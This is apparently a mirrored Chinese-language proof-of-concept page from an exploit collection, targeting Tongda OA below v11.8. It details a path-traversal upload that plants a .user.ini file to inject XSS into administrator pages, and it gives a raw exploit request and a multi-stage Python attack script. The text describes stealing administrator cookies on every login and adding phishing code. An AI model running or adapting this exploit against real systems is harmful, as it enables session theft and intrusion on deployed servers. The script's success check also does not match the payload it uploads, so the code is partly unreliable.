mirror of
https://github.com/Threekiii/Awesome-POC.git
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269 lines
11 KiB
Markdown
269 lines
11 KiB
Markdown
# 通达OA v11.8 update.php 后台文件包含XSS漏洞
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## 漏洞描述
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通达OA v11.8以下存在文件上传接口，可上传 .user.ini 文件包含有xss语句的文件，使管理员后台文件均包含XSS语句，被攻击者获取敏感信息
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参考阅读：
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- https://paper.seebug.org/1499/
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## 漏洞影响
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```
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通达OA < v11.8
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```
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## 环境搭建
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[通达OA v11.6下载链接](https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe)
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下载完毕点击安装即可
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## 漏洞复现
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这里使用的环境为通达 v11.6版本，v11.6版本中的漏洞利用较好，在 v11.7 后续版本中规定了上传路径，导致XSS利用会比较困难
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出现漏洞的文件为 **webroot/general/hr/manage/staff_info/update.php**
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```php
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<?php
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include_once "inc/auth.inc.php";
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include_once "inc/utility_all.php";
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include_once "inc/utility_file.php";
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include_once "inc/utility_field.php";
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include_once "inc/utility_cache.php";
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include_once "general/system/log/annual_leave_log.php";
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if (strstr($BYNAME, "/") || strstr($BYNAME, "\\") || strstr($BYNAME, "..")) {
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Message(_("错误"), _("OA用户名包含非法字符！"));
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exit();
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}
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include_once "inc/header.inc.php";
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echo "\r\n<body class=\"bodycolor\">\r\n";
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echo "\r\n<body class=\"bodycolor\">\r\n";
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$PHOTO_NAME0 = $_FILES["ATTACHMENT"]["name"];
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$ATTACHMENT = $_FILES["ATTACHMENT"]["tmp_name"];
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if ($PHOTO_NAME0 != "") {
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$FULL_PATH = MYOA_ATTACH_PATH . "hrms_pic";
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if (!file_exists($FULL_PATH)) {
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@mkdir($FULL_PATH, 448);
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}
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$PHOTO_NAME = $USER_ID . substr($PHOTO_NAME0, strrpos($PHOTO_NAME0, "."));
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$FILENAME = MYOA_ATTACH_PATH . "hrms_pic/" . $PHOTO_NAME;
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td_copy($ATTACHMENT, $FILENAME);
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if (file_exists($ATTACHMENT)) {
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unlink($ATTACHMENT);
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}
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if (!file_exists($FILENAME)) {
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Message(_("附件上传失败"), _("原因：附件文件为空或文件名太长，或附件大于30兆字节，或文件路径不存在！"));
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Button_Back();
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exit();
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}
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}
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```
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在这里参数 **$USER_ID** 是可控的，并且无过滤危险符号就拼接进去了，那我们传入 **../../../** 我们就可以任意文件上传了
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由于通达OA 的文件上传限制的死死的，所以我们可以通过利用 PHP的 **.user.ini** 文件来包含其他文件，这里是可以用于包含XSS语句的文件的，所以我们上传文件
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内容为
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```plain
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auto_prepend_file=test.log
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```
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我们想要最大化利用可以上传在**首页或者管理员** 界面，利用自定义弹窗来渗透
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这里对管理员页面 **general** 目录上传
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请求包为
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```plain
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POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/.user HTTP/1.1
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Host: 192.168.1.105
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
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Content-Length: 365
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Connection: close
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Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31
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Upgrade-Insecure-Requests: 1
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-----------------------------17518323986548992951984057104
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Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini"
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Content-Type: text/plain
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auto_prepend_file=peiqi.log
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-----------------------------17518323986548992951984057104
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Content-Disposition: form-data; name="submit"
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提交
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-----------------------------17518323986548992951984057104--
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```
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其中 **USER_ID=../../general/.user** 为上传路径
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```plain
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Content-Disposition: form-data; name="ATTACHMENT"; filename="peiqi.ini"
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Content-Type: text/plain
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auto_prepend_file=peiqi.log
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```
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这里拼接后上传就变成了 **.user.ini**
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这里再上传 XSS文件 **peiqi.log** 被包含进去
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上传后每次管理员登录后都会带着Cookie请求一次XSS平台
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钓鱼什么的代码写在peiqi.log文件里就好啦
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刚刚提到了 v11.7版本不方便利用，这是因为在后续版本加上了文件上传的规定路径
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```php
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if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
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return false;
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}
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else {
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return true;
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}
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```
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路径中必须要包含 **webroot 和 attachment** 才可以上传
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这里XSS的利用点有4个文件夹，其中最有几率XSS的为**存储目录管理的文件夹**
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用同样的方法上传利用文件，每次当管理员设置时就会盗取Cookie
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## 漏洞POC
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因为是xss可能对目标有影响，所以这里POC在一个不常用目录探测是否存在漏洞
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Cookie填写访问后台时的Cookie, 其中的base64解码更改 PeiQi_Wiki为 自己的XSS语句
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v11.6及以下 攻击 /general 和 /general/system/attachment 目录较好
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v11.6以上 攻击 /general/system/attachment 目录较好
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```python
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import requests
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import sys
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import random
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import re
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import base64
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mVersion: 通达OA < V11.8 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mCookie >>> xxxxxxxxxxxxxxxxxxxxxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, Cookie):
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vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
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"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
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"Accept-Encoding": "gzip, deflate",
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"Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
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"Connection": "close",
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"Cookie": Cookie,
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"Upgrade-Insecure-Requests": "1",
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}
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data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ==")
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
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print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m".format(target_url))
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if "档案已保存" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m".format(target_url))
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POC_2(target_url, Cookie)
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else:
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print("\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m".format(target_url))
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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def POC_2(target_url, Cookie):
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vuln_url = target_url + "/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/test"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
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"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
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"Accept-Encoding": "gzip, deflate",
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"Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
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"Connection": "close",
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"Cookie": Cookie,
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"Upgrade-Insecure-Requests": "1",
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}
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data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KClBlaVFpX1dpa2kKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0=")
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
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print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/test \033[0m".format(target_url))
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if "档案已保存" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {} 成功上传 test.log 文件, \033[0m".format(target_url))
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POC_3(target_url, Cookie)
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else:
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print("\033[31m[x] 目标 {} 上传 test.log 文件失败\033[0m".format(target_url))
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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def POC_3(target_url, Cookie):
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vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Cookie": Cookie,
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?test=test \033[0m".format(target_url))
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if "test_Wiki" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {} 存在漏洞，响应中包含 test_Wiki,存在XSS漏洞, 可参考阅读写的利用版本进一步攻击 \033[0m".format(target_url))
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else:
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print("\033[31m[x] 目标 {} 不存在漏洞，响应中不包含 test_Wiki\033[0m".format(target_url))
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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Cookie = "USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=kqfgar7u3c0ang0es41u3u67p4; SID_1=a63eb31"
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POC_1(target_url, Cookie)
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```
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